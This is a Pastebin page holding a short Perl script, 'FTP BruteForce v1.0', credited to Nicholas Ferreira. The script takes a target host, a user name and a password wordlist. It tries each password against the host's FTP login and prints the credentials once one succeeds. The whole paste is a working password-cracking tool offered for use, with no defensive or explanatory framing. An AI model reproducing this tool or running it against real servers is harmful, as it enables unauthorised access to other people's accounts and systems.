Advertisement
Guest User

BruteForce-FTP.pl

a guest
Feb 28th, 2016
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.20 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Net::FTP;
  3.  
  4. my $host = $ARGV[0];
  5. my $user = $ARGV[1];
  6. my $wordlist = $ARGV[2];
  7.  
  8. system('cls');
  9.  
  10. if($#ARGV != 2){
  11. print "
  12. ==============================================
  13.           FTP BruteForce v1.0  
  14.  
  15.           C0d3r: Nicholas Ferreira
  16.  
  17.           Translated by: Zanut
  18. ==============================================
  19.  
  20. Usage: BruteForce-FTP.pl <www.host> <user> <wordlist>
  21. ";
  22. exit;
  23. }
  24.  
  25. print "
  26. ==============================================
  27.           FTP BruteForce v1.0  
  28.  
  29.           C0d3r: Nicholas Ferreira
  30.  
  31.           Translated by: Zanut
  32. ==============================================
  33. ";
  34. print "[*] Attacking: $host\n[*] User: $user\n\n";
  35.  
  36. open(a,"<$wordlist");
  37. @password = <a>;
  38. $b = scalar(@password);
  39. for($a>0;$a<$b;$a++){
  40.  
  41. $number += 1;
  42. chomp($password2 = $password[$a]);
  43. my $f = Net::FTP->new($host) or die "$!";
  44. if(!$f->login($user, $password2)){
  45. print "[*] $host:21 - [$number/$b] Testing... $password2\n";
  46. $f->quit;
  47. } else {
  48. print "[*] $host:21 - [$number/$b] Testing... $password2\n";
  49. print "[+] Password successfully cracked!\n";
  50. print "[*] Login: $user Password: $password2\n\n";
  51. exit;
  52. }
  53.  
  54. }
  55. print "\n[-] No password found :/\n";
  56. exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement